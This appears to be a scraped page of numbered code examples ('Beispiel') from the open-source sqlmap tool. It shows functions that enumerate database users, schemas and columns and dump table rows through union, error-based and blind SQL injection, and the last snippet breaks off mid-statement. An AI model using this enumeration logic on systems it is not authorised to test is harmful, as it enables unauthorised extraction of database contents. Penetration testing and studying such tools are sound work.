                    kb.data.cachedUsersRoles[user] = list(roles)
                else:
                    warnMsg = "unable to retrieve the roles "
                    warnMsg += "for user '%s'" % user
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersRoles:
            errMsg = "unable to retrieve the roles "
            errMsg += "for the database users"
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersRoles.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return kb.data.cachedUsersRoles, areAdmins
Beispiel #36
0
    def getColumns(self,
                   onlyColNames=False,
                   colTuple=None,
                   bruteForce=None,
                   dumpMode=False):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) columns"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

            if not conf.db:
                errMsg = "unable to retrieve the current "
                errMsg += "database name"
                raise SqlmapNoneDataException(errMsg)

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                               DBMS.HSQLDB):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.col = conf.col.upper()

            colList = conf.col.split(',')
        else:
            colList = []

        if conf.excludeCol:
            colList = [
                _ for _ in colList if _ not in conf.excludeCol.split(',')
            ]

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        colList = filter(None, colList)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                               DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                if conf.db in kb.data.cachedTables:
                    tblList = kb.data.cachedTables[conf.db]
                else:
                    tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]

                tblList = list(tblList)
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return kb.data.cachedColumns

        tblList = filter(None, (safeSQLIdentificatorNaming(_, True)
                                for _ in tblList))

        if bruteForce is None:
            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = "cannot retrieve column names, "
                errMsg += "back-end DBMS is %s" % DBMS.ACCESS
                logger.error(errMsg)
                bruteForce = True

        if bruteForce:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable and not conf.freshQueries or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = {
                                safeSQLIdentificatorNaming(tbl, True): columns
                            }

                return kb.data.cachedColumns

            message = "do you want to use common column existence check? %s" % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            choice = readInput(message,
                               default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[Backend.getIdentifiedDbms()].columns
        condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "
                condQuery = ""

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += "LIKE '%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                    else:
                        colCondParam = "='%s'"
                        infoMsg += "'%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))

                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(
                        condQueryStr %
                        (condition, unsafeSQLIdentificatorNaming(col))
                        for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
                                                   DBMS.HSQLDB):
                    query = rootQuery.inband.query % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.inband.query % (
                        unsafeSQLIdentificatorNaming(tbl.upper()),
                        unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery
                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.inband.query % (
                        conf.db, conf.db, conf.db, conf.db,
                        conf.db, conf.db, conf.db,
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)
                elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                     DBMS.FIREBIRD):
                    query = rootQuery.inband.query % tbl

                if dumpMode and colList:
                    values = [(_, ) for _ in colList]
                else:
                    infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    values = None
                    if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(
                            PAYLOAD.TECHNIQUE.UNION):
                        expression = query
                        kb.dumpColumns = []
                        kb.rowXmlMode = True

                        for column in extractRegexResult(
                                r"SELECT (?P<result>.+?) FROM",
                                query).split(','):
                            kb.dumpColumns.append(randomStr().lower())
                            expression = expression.replace(
                                column,
                                "%s AS %s" % (column, kb.dumpColumns[-1]), 1)

                        values = unionUse(expression)
                        kb.rowXmlMode = False
                        kb.dumpColumns = None

                    if values is None:
                        values = inject.getValue(query,
                                                 blind=False,
                                                 time=False)

                if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                    index, values = 1, []

                    while True:
                        query = rootQuery.inband.query2 % (conf.db, tbl, index)
                        value = unArrayizeValue(
                            inject.getValue(query, blind=False, time=False))

                        if isNoneValue(value) or value == " ":
                            break
                        else:
                            values.append((value, ))
                            index += 1

                if Backend.isDbms(DBMS.SQLITE):
                    parseSqliteTableSchema(unArrayizeValue(values))
                elif not isNoneValue(values):
                    table = {}
                    columns = {}

                    for columnData in values:
                        if not isNoneValue(columnData):
                            name = safeSQLIdentificatorNaming(columnData[0])

                            if name:
                                if conf.getComments:
                                    _ = queries[Backend.getIdentifiedDbms(
                                    )].column_comment
                                    if hasattr(_, "query"):
                                        if Backend.getIdentifiedDbms() in (
                                                DBMS.ORACLE, DBMS.DB2):
                                            query = _.query % (
                                                unsafeSQLIdentificatorNaming(
                                                    conf.db.upper()),
                                                unsafeSQLIdentificatorNaming(
                                                    tbl.upper()),
                                                unsafeSQLIdentificatorNaming(
                                                    name.upper()))
                                        else:
                                            query = _.query % (
                                                unsafeSQLIdentificatorNaming(
                                                    conf.db),
                                                unsafeSQLIdentificatorNaming(
                                                    tbl),
                                                unsafeSQLIdentificatorNaming(
                                                    name))

                                        comment = unArrayizeValue(
                                            inject.getValue(query,
                                                            blind=False,
                                                            time=False))
                                        if not isNoneValue(comment):
                                            infoMsg = "retrieved comment '%s' for column '%s'" % (
                                                comment, name)
                                            logger.info(infoMsg)
                                    else:
                                        warnMsg = "on %s it is not " % Backend.getIdentifiedDbms(
                                        )
                                        warnMsg += "possible to get column comments"
                                        singleTimeWarnMessage(warnMsg)

                                if len(columnData) == 1:
                                    columns[name] = None
                                else:
                                    key = int(columnData[1]) if isinstance(
                                        columnData[1],
                                        basestring) and columnData[1].isdigit(
                                        ) else columnData[1]
                                    if Backend.isDbms(DBMS.FIREBIRD):
                                        columnData[1] = FIREBIRD_TYPES.get(
                                            key, columnData[1])
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        notNull = False
                                        if isinstance(key, int) and key > 255:
                                            key -= 256
                                            notNull = True
                                        columnData[1] = INFORMIX_TYPES.get(
                                            key, columnData[1])
                                        if notNull:
                                            columnData[
                                                1] = "%s NOT NULL" % columnData[
                                                    1]

                                    columns[name] = columnData[1]

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = table

        elif isInferenceAvailable() and not conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "
                condQuery = ""

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += "LIKE '%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                    else:
                        colCondParam = "='%s'"
                        infoMsg += "'%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))

                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(
                        condQueryStr %
                        (condition, unsafeSQLIdentificatorNaming(col))
                        for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
                                                   DBMS.HSQLDB):
                    query = rootQuery.blind.count % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.blind.count % (
                        unsafeSQLIdentificatorNaming(tbl.upper()),
                        unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery

                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.blind.count % (conf.db, conf.db, \
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)

                elif Backend.isDbms(DBMS.FIREBIRD):
                    query = rootQuery.blind.count % (tbl)
                    query += condQuery

                elif Backend.isDbms(DBMS.INFORMIX):
                    query = rootQuery.blind.count % (conf.db, conf.db, conf.db,
                                                     conf.db, conf.db, tbl)
                    query += condQuery

                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.blind.query % tbl
                    value = unArrayizeValue(
                        inject.getValue(query, union=False, error=False))
                    parseSqliteTableSchema(value)
                    return kb.data.cachedColumns

                table = {}
                columns = {}

                if dumpMode and colList:
                    count = 0
                    for value in colList:
                        columns[safeSQLIdentificatorNaming(value)] = None
                else:
                    infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if Backend.isDbms(DBMS.MSSQL):
                            count, index, values = 0, 1, []
                            while True:
                                query = rootQuery.blind.query3 % (conf.db, tbl,
                                                                  index)
                                value = unArrayizeValue(
                                    inject.getValue(query,
                                                    union=False,
                                                    error=False))
                                if isNoneValue(value) or value == " ":
                                    break
                                else:
                                    columns[safeSQLIdentificatorNaming(
                                        value)] = None
                                    index += 1

                        if not columns:
                            errMsg = "unable to retrieve the %scolumns " % (
                                "number of "
                                if not Backend.isDbms(DBMS.MSSQL) else "")
                            errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                                tbl)
                            errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                                conf.db)
                            logger.error(errMsg)
                            continue

                for index in getLimitRange(count):
                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
                                                       DBMS.HSQLDB):
                        query = rootQuery.blind.query % (
                            unsafeSQLIdentificatorNaming(tbl),
                            unsafeSQLIdentificatorNaming(conf.db))
                        query += condQuery
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                         DBMS.DB2):
                        query = rootQuery.blind.query % (
                            unsafeSQLIdentificatorNaming(tbl.upper()),
                            unsafeSQLIdentificatorNaming(conf.db.upper()))
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.MSSQL):
                        query = rootQuery.blind.query.replace(
                            "'%s'", "'%s'" %
                            unsafeSQLIdentificatorNaming(tbl).split(".")[-1]
                        ).replace("%s", conf.db).replace("%d", str(index))
                        query += condQuery.replace("[DB]", conf.db)
                        field = condition.replace("[DB]", conf.db)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (tbl)
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.query % (index, conf.db,
                                                         conf.db, conf.db,
                                                         conf.db, conf.db, tbl)
                        query += condQuery
                        field = condition

                    query = agent.limitQuery(index, query, field, field)
                    column = unArrayizeValue(
                        inject.getValue(query, union=False, error=False))

                    if not isNoneValue(column):
                        if conf.getComments:
                            _ = queries[
                                Backend.getIdentifiedDbms()].column_comment
                            if hasattr(_, "query"):
                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                                   DBMS.DB2):
                                    query = _.query % (
                                        unsafeSQLIdentificatorNaming(
                                            conf.db.upper()),
                                        unsafeSQLIdentificatorNaming(
                                            tbl.upper()),
                                        unsafeSQLIdentificatorNaming(
                                            column.upper()))
                                else:
                                    query = _.query % (
                                        unsafeSQLIdentificatorNaming(conf.db),
                                        unsafeSQLIdentificatorNaming(tbl),
                                        unsafeSQLIdentificatorNaming(column))

                                comment = unArrayizeValue(
                                    inject.getValue(query,
                                                    union=False,
                                                    error=False))
                                if not isNoneValue(comment):
                                    infoMsg = "retrieved comment '%s' for column '%s'" % (
                                        comment, column)
                                    logger.info(infoMsg)
                            else:
                                warnMsg = "on %s it is not " % Backend.getIdentifiedDbms(
                                )
                                warnMsg += "possible to get column comments"
                                singleTimeWarnMessage(warnMsg)

                        if not onlyColNames:
                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL,
                                                               DBMS.PGSQL):
                                query = rootQuery.blind.query2 % (
                                    unsafeSQLIdentificatorNaming(tbl), column,
                                    unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                                 DBMS.DB2):
                                query = rootQuery.blind.query2 % (
                                    unsafeSQLIdentificatorNaming(
                                        tbl.upper()), column,
                                    unsafeSQLIdentificatorNaming(
                                        conf.db.upper()))
                            elif Backend.isDbms(DBMS.MSSQL):
                                query = rootQuery.blind.query2 % (
                                    conf.db, conf.db, conf.db, conf.db, column,
                                    conf.db, conf.db, conf.db,
                                    unsafeSQLIdentificatorNaming(tbl).split(
                                        ".")[-1])
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                query = rootQuery.blind.query2 % (tbl, column)
                            elif Backend.isDbms(DBMS.INFORMIX):
                                query = rootQuery.blind.query2 % (
                                    conf.db, conf.db, conf.db, conf.db,
                                    conf.db, tbl, column)

                            colType = unArrayizeValue(
                                inject.getValue(query,
                                                union=False,
                                                error=False))

                            key = int(colType) if isinstance(
                                colType,
                                basestring) and colType.isdigit() else colType
                            if Backend.isDbms(DBMS.FIREBIRD):
                                colType = FIREBIRD_TYPES.get(key, colType)
                            elif Backend.isDbms(DBMS.INFORMIX):
                                notNull = False
                                if isinstance(key, int) and key > 255:
                                    key -= 256
                                    notNull = True
                                colType = INFORMIX_TYPES.get(key, colType)
                                if notNull:
                                    colType = "%s NOT NULL" % colType

                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = colType
                        else:
                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = None

                if columns:
                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = table

        if not kb.data.cachedColumns:
            warnMsg = "unable to retrieve column names for "
            warnMsg += ("table '%s' " %
                        unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))
                        ) if len(tblList) == 1 else "any table "
            warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                conf.db)
            logger.warn(warnMsg)

            if bruteForce is None:
                return self.getColumns(onlyColNames=onlyColNames,
                                       colTuple=colTuple,
                                       bruteForce=True)

        return kb.data.cachedColumns
Beispiel #37
0
def pivotDumpTable(table, colList, count=None, blind=True):
    lengths = {}
    entries = {}

    dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind

    validColumnList = False
    validPivotValue = False

    if count is None:
        query = dumpNode.count % table
        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT)

    if isinstance(count, basestring) and count.isdigit():
        count = int(count)

    if count == 0:
        infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table)
        logger.info(infoMsg)

        for column in colList:
            lengths[column] = len(column)
            entries[column] = []

        return entries, lengths

    elif not isNumPosStrValue(count):
        return None

    for column in colList:
        lengths[column] = 0
        entries[column] = BigArray()

    colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT))

    if conf.pivotColumn:
        if any(re.search(r"(.+\.)?%s" % conf.pivotColumn, _, re.I) for _ in colList):
            infoMsg = "using column '%s' as a pivot " % conf.pivotColumn
            infoMsg += "for retrieving row data"
            logger.info(infoMsg)

            validPivotValue = True
            colList.remove(conf.pivotColumn)
            colList.insert(0, conf.pivotColumn)
        else:
            warnMsg = "column '%s' not " % conf.pivotColumn
            warnMsg += "found in table '%s'" % table
            logger.warn(warnMsg)

    if not validPivotValue:
        for column in colList:
            infoMsg = "fetching number of distinct "
            infoMsg += "values for column '%s'" % column
            logger.info(infoMsg)

            query = dumpNode.count2 % (column, table)
            value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if isNumPosStrValue(value):
                validColumnList = True

                if value == count:
                    infoMsg = "using column '%s' as a pivot " % column
                    infoMsg += "for retrieving row data"
                    logger.info(infoMsg)

                    validPivotValue = True
                    colList.remove(column)
                    colList.insert(0, column)
                    break

        if not validColumnList:
            errMsg = "all column name(s) provided are non-existent"
            raise SqlmapNoneDataException(errMsg)

        if not validPivotValue:
            warnMsg = "no proper pivot column provided (with unique values)."
            warnMsg += " It won't be possible to retrieve all rows"
            logger.warn(warnMsg)

    pivotValue = " "
    breakRetrieval = False

    try:
        for i in xrange(count):
            if breakRetrieval:
                break

            for column in colList:
                def _(pivotValue):
                    if column == colList[0]:
                        query = dumpNode.query.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False))
                    else:
                        query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False))

                    return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind))

                value = _(pivotValue)
                if column == colList[0]:
                    if isNoneValue(value):
                        for pivotValue in filter(None, ("  " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))):
                            value = _(pivotValue)
                            if not isNoneValue(value):
                                break
                    if isNoneValue(value):
                        breakRetrieval = True
                        break
                    pivotValue = safechardecode(value)

                if conf.limitStart or conf.limitStop:
                    if conf.limitStart and (i + 1) < conf.limitStart:
                        warnMsg = "skipping first %d pivot " % conf.limitStart
                        warnMsg += "point values"
                        singleTimeWarnMessage(warnMsg)
                        break
                    elif conf.limitStop and (i + 1) > conf.limitStop:
                        breakRetrieval = True
                        break

                value = "" if isNoneValue(value) else unArrayizeValue(value)

                lengths[column] = max(lengths[column], len(value) if value else 0)
                entries[column].append(value)

    except KeyboardInterrupt:
        warnMsg = "user aborted during enumeration. sqlmap "
        warnMsg += "will display partial output"
        logger.warn(warnMsg)

    except SqlmapConnectionException, e:
        errMsg = "connection exception detected. sqlmap "
        errMsg += "will display partial output"
        errMsg += "'%s'" % e
        logger.critical(errMsg)
Beispiel #38
0
    def getDbs(self):
        if len(kb.data.cachedDbs) > 0:
            return kb.data.cachedDbs

        infoMsg = None

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            warnMsg = "information_schema not available, "
            warnMsg += "back-end DBMS is MySQL < 5. database "
            warnMsg += "names will be fetched from 'mysql' database"
            logger.warn(warnMsg)

        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                             DBMS.PGSQL):
            warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms(
            )
            warnMsg += "for enumeration as the counterpart to database "
            warnMsg += "names on other DBMSes"
            logger.warn(warnMsg)

            infoMsg = "fetching database (schema) names"

        else:
            infoMsg = "fetching database names"

        if infoMsg:
            logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].dbs

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                kb.data.cachedDbs = arrayizeValue(values)

        if not kb.data.cachedDbs and isInferenceAvailable(
        ) and not conf.direct:
            infoMsg = "fetching number of databases"
            logger.info(infoMsg)

            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count
            count = inject.getValue(query,
                                    union=False,
                                    error=False,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)

            if not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of databases"
                logger.error(errMsg)
            else:
                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                          DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (kb.data.cachedDbs[-1]
                                                         if kb.data.cachedDbs
                                                         else " ")
                    elif Backend.isDbms(
                            DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % index
                    else:
                        query = rootQuery.blind.query % index
                    db = unArrayizeValue(
                        inject.getValue(query, union=False, error=False))

                    if db:
                        kb.data.cachedDbs.append(
                            safeSQLIdentificatorNaming(db))

        if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL):
            if any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                              PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                blinds = (False, True)
            else:
                blinds = (True, )

            for blind in blinds:
                count = 0
                kb.data.cachedDbs = []
                while True:
                    query = rootQuery.inband.query2 % count
                    value = unArrayizeValue(inject.getValue(query,
                                                            blind=blind))
                    if not (value or "").strip():
                        break
                    else:
                        kb.data.cachedDbs.append(value)
                        count += 1
                if kb.data.cachedDbs:
                    break

        if not kb.data.cachedDbs:
            infoMsg = "falling back to current database"
            logger.info(infoMsg)
            self.getCurrentDb()

            if kb.data.currentDb:
                kb.data.cachedDbs = [kb.data.currentDb]
            else:
                errMsg = "unable to retrieve the database names"
                raise SqlmapNoneDataException(errMsg)
        else:
            kb.data.cachedDbs.sort()

        if kb.data.cachedDbs:
            kb.data.cachedDbs = filter(
                None, list(set(flattenValue(kb.data.cachedDbs))))

        return kb.data.cachedDbs
Beispiel #39
0
    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

            if conf.exclude and re.search(conf.exclude, conf.db,
                                          re.I) is not None:
                infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                singleTimeLogMessage(infoMsg)
                return

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = list(six.itervalues(kb.data.cachedTables))

                if tblList and isListLike(tblList[0]):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            if kb.dumpKeyboardInterrupt:
                break

            if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None:
                infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(
                    tbl)
                singleTimeLogMessage(infoMsg)
                continue

            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                if Backend.isDbms(DBMS.INFORMIX):
                    kb.dumpTable = "%s:%s" % (conf.db, tbl)
                elif Backend.isDbms(DBMS.SQLITE):
                    kb.dumpTable = tbl
                else:
                    kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if safeSQLIdentificatorNaming(
                        conf.db
                ) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(
                        tbl, True
                ) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(
                        conf.db
                )] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(
                        conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table "
                    warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(
                    conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(column for column in columns if column)

                if conf.exclude:
                    colList = [
                        _ for _ in colList
                        if re.search(conf.exclude, _, re.I) is None
                    ]

                if not colList:
                    warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    warnMsg += " (no usable column names)"
                    logger.warn(warnMsg)
                    continue

                kb.dumpColumns = [
                    unsafeSQLIdentificatorNaming(_) for _ in colList
                ]
                colNames = colString = ','.join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colNames
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(
                    tbl)
                infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r"\b%s\b" % re.escape(column),
                                           _.replace("\\", r"\\"), colString)

                entriesCount = 0

                if any(
                        isTechniqueAvailable(_)
                        for _ in (PAYLOAD.TECHNIQUE.UNION,
                                  PAYLOAD.TECHNIQUE.ERROR,
